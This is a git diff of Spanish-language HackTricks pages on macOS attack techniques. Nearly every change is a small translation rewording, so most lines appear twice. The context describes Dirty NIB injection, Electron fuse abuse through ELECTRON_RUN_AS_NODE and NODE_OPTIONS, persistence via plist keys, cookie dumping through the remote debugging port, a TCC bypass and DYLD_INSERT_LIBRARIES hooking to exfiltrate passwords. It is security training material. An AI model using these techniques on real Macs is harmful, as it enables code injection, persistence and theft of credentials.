**Para más detalles sobre la técnica, consulta la publicación original en:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) y la siguiente publicación de [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Aquí hay un resumen:
|
||||
|
||||
### Qué son los archivos Nib
|
||||
### ¿Qué son los archivos Nib?
|
||||
|
||||
Los archivos Nib (abreviatura de NeXT Interface Builder), parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI.
|
||||
Los archivos Nib (abreviatura de NeXT Interface Builder), parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en las aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI.
|
||||
|
||||
El archivo Nib principal se referencia en el valor **`NSMainNibFile`** dentro del archivo `Info.plist` de la aplicación y se carga mediante la función **`NSApplicationMain`** ejecutada en la función `main` de la aplicación.
|
||||
|
||||
@ -20,7 +20,7 @@ El archivo Nib principal se referencia en el valor **`NSMainNibFile`** dentro de
|
||||
- Configura la propiedad `source` inicial a través de Atributos de Tiempo de Ejecución Definidos por el Usuario.
|
||||
2. **Gadget de Ejecución de Código**:
|
||||
- La configuración facilita la ejecución de AppleScript bajo demanda.
|
||||
- Integra un botón para activar el objeto `Apple Script`, desencadenando específicamente el selector `executeAndReturnError:`.
|
||||
- Integra un botón para activar el objeto `Apple Script`, específicamente desencadenando el selector `executeAndReturnError:`.
|
||||
3. **Pruebas**:
|
||||
|
||||
- Un simple Apple Script para fines de prueba:
|
||||
@ -61,13 +61,13 @@ En la publicación [https://sector7.computest.nl/post/2024-04-bringing-process-i
|
||||
|
||||
### Otras Protecciones de macOS
|
||||
|
||||
Desde macOS Sonoma en adelante, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban:
|
||||
Desde macOS Sonoma, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban:
|
||||
|
||||
1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp/`).
|
||||
2. Renombrar directorios dentro del paquete de la aplicación para eludir las protecciones iniciales.
|
||||
3. Después de ejecutar la aplicación para registrarse con Gatekeeper, modificar el paquete de la aplicación (por ejemplo, reemplazando MainMenu.nib con Dirty.nib).
|
||||
4. Renombrar los directorios de nuevo y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado.
|
||||
|
||||
**Nota**: Las actualizaciones recientes de macOS han mitigado esta explotación al prevenir modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, lo que hace que la explotación sea ineficaz.
|
||||
**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al prevenir modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, lo que hace que el exploit sea ineficaz.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,7 +13,7 @@ Estas técnicas se discutirán a continuación, pero en tiempos recientes Electr
|
||||
|
||||
- **`RunAsNode`**: Si está deshabilitado, impide el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código.
|
||||
- **`EnableNodeCliInspectArguments`**: Si está deshabilitado, parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando así la forma de inyectar código.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el **`archivo`** **`asar`** cargado será **validado** por macOS. **Previniendo** de esta manera la **inyección de código** al modificar el contenido de este archivo.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el **`archivo asar`** cargado será **validado** por macOS. **Previniendo** de esta manera la **inyección de código** al modificar el contenido de este archivo.
|
||||
- **`OnlyLoadAppFromAsar`**: Si esto está habilitado, en lugar de buscar cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`** sea **imposible** **cargar código no validado**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea V8.
|
||||
|
||||
@ -46,7 +46,7 @@ En las aplicaciones de macOS, esto se encuentra típicamente en `application.app
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Podrías cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está deshabilitado o habilitado. Simplemente modifica el código hexadecimal (`0x30` es `0` y `0x31` es `1`) para **modificar los valores de los fusibles**.
|
||||
Podrías cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está deshabilitado o habilitado. Simplemente modifica el código hex (`0x30` es `0` y `0x31` es `1`) para **modificar los valores de los fusibles**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Si el fuse **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada, y esto no funcionará.
|
||||
> Si el fuse **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada y esto no funcionará.
|
||||
|
||||
### Inyección desde el App Plist
|
||||
|
||||
@ -123,11 +123,11 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Si el fuse **`EnableNodeOptionsEnvironmentVariable`** está **deshabilitado**, la aplicación **ignorar** la variable de entorno **NODE_OPTIONS** al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fuse **`RunAsNode`** está deshabilitado.
|
||||
> Si el fuse **`EnableNodeOptionsEnvironmentVariable`** está **deshabilitado**, la aplicación **ignorar**á la variable de entorno **NODE_OPTIONS** al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fuse **`RunAsNode`** está deshabilitado.
|
||||
>
|
||||
> Si no configuras **`ELECTRON_RUN_AS_NODE`**, encontrarás el **error**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
### Inyección desde el Plist de la App
|
||||
### Inyección desde el Plist de la Aplicación
|
||||
|
||||
Podrías abusar de esta variable de entorno en un plist para mantener persistencia añadiendo estas claves:
|
||||
```xml
|
||||
@ -159,9 +159,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
>
|
||||
> Sin embargo, aún podrías usar el **parámetro de electron `--remote-debugging-port=9229`**, pero la carga útil anterior no funcionará para ejecutar otros procesos.
|
||||
|
||||
Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **endpoint json** que las proporcionará).
|
||||
Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **desencriptadas** dentro del navegador y hay un **endpoint json** que las proporcionará).
|
||||
|
||||
Puedes aprender a hacer eso [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y usar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como:
|
||||
Puedes aprender cómo hacerlo [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y usar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
@ -187,7 +187,7 @@ Podrías abusar de esta variable de entorno en un plist para mantener la persist
|
||||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## TCC Bypass abusando de versiones anteriores
|
||||
## Bypass de TCC abusando de versiones anteriores
|
||||
|
||||
> [!TIP]
|
||||
> El daemon TCC de macOS no verifica la versión ejecutada de la aplicación. Así que si **no puedes inyectar código en una aplicación Electron** con ninguna de las técnicas anteriores, podrías descargar una versión anterior de la APP e inyectar código en ella, ya que aún obtendrá los privilegios de TCC (a menos que Trust Cache lo impida).
|
||||
|
||||
@ -86,7 +86,7 @@ También tenga en cuenta que **la interposición ocurre entre el proceso y las b
|
||||
|
||||
Ahora también es posible interponer una función dinámicamente utilizando la función **`dyld_dynamic_interpose`**. Esto permite interponer programáticamente una función en tiempo de ejecución en lugar de hacerlo solo desde el principio.
|
||||
|
||||
Solo es necesario indicar los **tuples** de la **función a reemplazar y la función de reemplazo**.
|
||||
Solo es necesario indicar las **tuplas** de la **función a reemplazar y la función de reemplazo**.
|
||||
```c
|
||||
struct dyld_interpose_tuple {
|
||||
const void* replacement;
|
||||
@ -95,22 +95,22 @@ const void* replacee;
|
||||
extern void dyld_dynamic_interpose(const struct mach_header* mh,
|
||||
const struct dyld_interpose_tuple array[], size_t count);
|
||||
```
|
||||
## Intercambio de Métodos
|
||||
## Method Swizzling
|
||||
|
||||
En ObjectiveC, así es como se llama a un método: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Se necesita el **objeto**, el **método** y los **parámetros**. Y cuando se llama a un método, se envía un **msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
Se necesita el **objeto**, el **método** y los **params**. Y cuando se llama a un método, se envía un **msg** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
|
||||
|
||||
Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y los **punteros** al código del método.
|
||||
Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y **punteros** al código del método.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que, dado que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
> Tenga en cuenta que, dado que los métodos y clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Accediendo a los métodos en bruto
|
||||
### Accessing the raw methods
|
||||
|
||||
Es posible acceder a la información de los métodos, como el nombre, el número de parámetros o la dirección, como en el siguiente ejemplo:
|
||||
Es posible acceder a la información de los métodos, como el nombre, el número de params o la dirección, como en el siguiente ejemplo:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
@ -234,7 +234,7 @@ return 0;
|
||||
|
||||
El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función **`method_setImplementation`** puedes **cambiar** la **implementación** de un **método por el otro**.
|
||||
|
||||
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, porque más tarde será mucho más complicado localizar esa dirección.
|
||||
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, porque después será mucho más complicado localizar esa dirección.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
@ -294,7 +294,7 @@ Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través d
|
||||
|
||||
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Revisa cada técnica para aprender más sobre las limitaciones.
|
||||
|
||||
Sin embargo, un ataque de hooking de función es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
|
||||
Sin embargo, un ataque de hooking de funciones es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
|
||||
|
||||
Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como:
|
||||
```xml
|
||||
@ -311,7 +311,7 @@ y luego **volver a registrar** la aplicación:
|
||||
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
|
||||
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **no ejecutará la aplicación** más.
|
||||
|
||||
#### Ejemplo de biblioteca
|
||||
```objectivec
|
||||
|
||||
@ -35,7 +35,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
|
||||
|
||||
### Puertos de Archivo
|
||||
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (usando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado usando `fileport_makeport` y crear un FD a partir de un fileport usando `fileport_makefd`.
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado utilizando `fileport_makeport` y crear un FD a partir de un fileport utilizando `fileport_makefd`.
|
||||
|
||||
### Estableciendo una comunicación
|
||||
|
||||
@ -53,7 +53,7 @@ Para esto, el **servidor de arranque** (**launchd** en mac) está involucrado, y
|
||||
6. Con este DERECHO DE ENVÍO, **la tarea B** es capaz de **enviar** un **mensaje** **a la tarea A**.
|
||||
7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
|
||||
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como reclamar falsamente un nombre de servicio de autorización y luego aprobar cada solicitud.
|
||||
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
|
||||
|
||||
Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **DERECHO DE RECEPCIÓN para cada uno de estos nombres de servicio**.
|
||||
|
||||
@ -123,9 +123,9 @@ Los otros campos del encabezado del mensaje son:
|
||||
- `msgh_id`: el ID de este mensaje, que es interpretado por el receptor.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él.
|
||||
> Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento **un solo proceso puede leer** de él.
|
||||
|
||||
Los mensajes se forman entonces por el encabezado **`mach_msg_header_t`** seguido del **cuerpo** y del **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
|
||||
Los mensajes se forman entonces por el **encabezado `mach_msg_header_t`** seguido del **cuerpo** y del **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
|
||||
|
||||
Un **trailer** es **información añadida al mensaje por el núcleo** (no puede ser establecida por el usuario) que puede ser solicitada en la recepción del mensaje con las banderas `MACH_RCV_TRAILER_<trailer_opt>` (hay diferente información que se puede solicitar).
|
||||
|
||||
@ -425,12 +425,12 @@ Los que comienzan **desde** el número **8** son **propiedad de los demonios del
|
||||
- `host_statistics`: Obtener estadísticas del host
|
||||
- `mach_memory_info`: Obtener diseño de memoria del kernel
|
||||
- **Puerto Priv del Host**: Un proceso con derecho de **SEND** sobre este puerto puede realizar **acciones privilegiadas** como mostrar datos de arranque o intentar cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso.
|
||||
- Además, para llamar a la API **`kext_request`** es necesario tener otros derechos **`com.apple.private.kext*`** que solo se otorgan a los binarios de Apple.
|
||||
- Además, para llamar a la API **`kext_request`** es necesario tener otros derechos **`com.apple.private.kext*`** que solo se otorgan a binarios de Apple.
|
||||
- Otras rutinas que se pueden llamar son:
|
||||
- `host_get_boot_info`: Obtener `machine_boot_info()`
|
||||
- `host_priv_statistics`: Obtener estadísticas privilegiadas
|
||||
- `vm_allocate_cpm`: Asignar Memoria Física Contigua
|
||||
- `host_processors`: Derecho de envío a los procesadores del host
|
||||
- `host_processors`: Derecho de envío a procesadores del host
|
||||
- `mach_vm_wire`: Hacer que la memoria sea residente
|
||||
- Como **root** puede acceder a este permiso, podría llamar a `host_set_[special/exception]_port[s]` para **secuestrar puertos especiales o de excepción del host**.
|
||||
|
||||
@ -459,7 +459,7 @@ world.*/
|
||||
|
||||
### Puertos de Tarea
|
||||
|
||||
Originalmente Mach no tenía "procesos", tenía "tareas" que se consideraban más como un contenedor de hilos. Cuando Mach se fusionó con BSD **cada tarea estaba correlacionada con un proceso BSD**. Por lo tanto, cada proceso BSD tiene los detalles que necesita para ser un proceso y cada tarea Mach también tiene su funcionamiento interno (excepto por el pid inexistente 0 que es el `kernel_task`).
|
||||
Originalmente Mach no tenía "procesos", tenía "tareas", que se consideraban más como un contenedor de hilos. Cuando Mach se fusionó con BSD **cada tarea estaba correlacionada con un proceso BSD**. Por lo tanto, cada proceso BSD tiene los detalles que necesita para ser un proceso y cada tarea Mach también tiene su funcionamiento interno (excepto por el pid inexistente 0 que es el `kernel_task`).
|
||||
|
||||
Hay dos funciones muy interesantes relacionadas con esto:
|
||||
|
||||
@ -772,7 +772,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
### Inyección de Dylib en hilo a través del puerto de tarea
|
||||
|
||||
En macOS, los **hilos** pueden ser manipulados a través de **Mach** o usando la **api `pthread` de posix**. El hilo que generamos en la inyección anterior fue generado usando la api de Mach, por lo que **no es compatible con posix**.
|
||||
En macOS, los **hilos** pueden ser manipulados a través de **Mach** o usando la **api posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la api Mach, por lo que **no es compatible con posix**.
|
||||
|
||||
Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con apis** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
|
||||
|
||||
@ -1064,7 +1064,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
```
|
||||
### Secuestro de Hilos a través del Puerto de Tarea <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
En esta técnica, se secuestra un hilo del proceso:
|
||||
En esta técnica, un hilo del proceso es secuestrado:
|
||||
|
||||
{{#ref}}
|
||||
macos-thread-injection-via-task-port.md
|
||||
@ -1105,7 +1105,7 @@ Estas son algunas APIs interesantes para interactuar con el conjunto de procesad
|
||||
Como se mencionó en [**esta publicación**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\
|
||||
Hoy en día, necesitas ser root para usar esa función y esto está protegido, por lo que solo podrás obtener estos puertos en procesos no protegidos.
|
||||
|
||||
Puedes probarlo con:
|
||||
Puedes intentarlo con:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@ -219,11 +219,11 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que se pensó que MIG se usaría entre diferentes sistemas (y no solo en la misma máquina).
|
||||
|
||||
Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S <binary> | grep NDR` o `nm`), significa que el binario es un cliente o servidor MIG.
|
||||
Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S <binary> | grep NDR` o `nm`), significa que el binario es un cliente o servidor de MIG.
|
||||
|
||||
Además, los **servidores MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**.
|
||||
Además, los **servidores de MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**.
|
||||
|
||||
Y los **clientes MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
|
||||
Y los **clientes de MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
|
||||
|
||||
## Análisis de Binarios
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Inyección de Hilo en macOS a través del puerto de tarea
|
||||
# Inyección de Hilo en macOS a través del Puerto de Tarea
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -21,9 +21,9 @@ Una estrategia implica **registrar un manejador de excepciones** para el hilo re
|
||||
|
||||
La fase siguiente implica establecer puertos Mach para facilitar la comunicación con el hilo remoto. Estos puertos son fundamentales para transferir derechos de envío y recepción arbitrarios entre tareas.
|
||||
|
||||
Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y el otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes.
|
||||
Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y el otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraria, permitiendo el intercambio de mensajes.
|
||||
|
||||
Centrando en el puerto local, el derecho de recepción es mantenido por la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto en la tarea remota.
|
||||
Enfocándose en el puerto local, el derecho de recepción es mantenido por la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto en la tarea remota.
|
||||
|
||||
Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto para que llame a `mach_thread_self()` para recuperar el derecho de envío.
|
||||
|
||||
@ -58,7 +58,7 @@ _write_func:
|
||||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### Identificando Funciones Adecuadas
|
||||
### Identificación de Funciones Adecuadas
|
||||
|
||||
Un escaneo de bibliotecas comunes reveló candidatos apropiados para estas operaciones:
|
||||
|
||||
@ -123,11 +123,11 @@ Para crear y corregir el objeto de memoria compartida en el proceso remoto:
|
||||
malloc(); // for allocating memory remotely
|
||||
thread_set_special_port(); // for inserting send right
|
||||
```
|
||||
Recuerde manejar correctamente los detalles de los puertos Mach y los nombres de las entradas de memoria para garantizar que la configuración de memoria compartida funcione correctamente.
|
||||
Recuerda manejar correctamente los detalles de los puertos Mach y los nombres de las entradas de memoria para asegurar que la configuración de memoria compartida funcione adecuadamente.
|
||||
|
||||
## 5. Logrando Control Total
|
||||
|
||||
Al establecer con éxito la memoria compartida y obtener capacidades de ejecución arbitraria, hemos ganado esencialmente control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son:
|
||||
Al establecer con éxito la memoria compartida y obtener capacidades de ejecución arbitraria, esencialmente hemos ganado control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son:
|
||||
|
||||
1. **Operaciones de Memoria Arbitrarias**:
|
||||
|
||||
@ -136,7 +136,7 @@ Al establecer con éxito la memoria compartida y obtener capacidades de ejecuci
|
||||
|
||||
2. **Manejo de Llamadas a Funciones con Múltiples Argumentos**:
|
||||
|
||||
- Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamada.
|
||||
- Para funciones que requieren más de 8 argumentos, organiza los argumentos adicionales en la pila de acuerdo con la convención de llamada.
|
||||
|
||||
3. **Transferencia de Puertos Mach**:
|
||||
|
||||
@ -149,8 +149,8 @@ Este control integral está encapsulado dentro de la biblioteca [threadexec](htt
|
||||
|
||||
## Consideraciones Importantes:
|
||||
|
||||
- Asegúrese de utilizar correctamente `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos.
|
||||
- Al transferir puertos Mach o descriptores de archivo, siga los protocolos adecuados y maneje los recursos de manera responsable para prevenir leaks o accesos no intencionados.
|
||||
- Asegúrate de usar correctamente `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos.
|
||||
- Al transferir puertos Mach o descriptores de archivo, sigue los protocolos adecuados y maneja los recursos de manera responsable para prevenir leaks o accesos no intencionados.
|
||||
|
||||
Al adherirse a estas pautas y utilizar la biblioteca `threadexec`, se puede gestionar e interactuar eficientemente con los procesos a un nivel granular, logrando control total sobre el proceso objetivo.
|
||||
|
||||
|
||||
@ -14,13 +14,13 @@ Los principales beneficios de XPC incluyen:
|
||||
2. **Estabilidad**: XPC ayuda a aislar los bloqueos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema.
|
||||
3. **Rendimiento**: XPC permite una fácil concurrencia, ya que diferentes tareas pueden ejecutarse simultáneamente en diferentes procesos.
|
||||
|
||||
El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas de hoy esto no es casi notable y los beneficios son mejores.
|
||||
El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto no es casi notable y los beneficios son mejores.
|
||||
|
||||
## Servicios XPC Específicos de la Aplicación
|
||||
|
||||
Los componentes XPC de una aplicación están **dentro de la propia aplicación.** Por ejemplo, en Safari puedes encontrarlos en **`/Applications/Safari.app/Contents/XPCServices`**. Tienen la extensión **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) y **también son paquetes** con el binario principal dentro de él: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` y un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su archivo **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
|
||||
Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
|
||||
|
||||
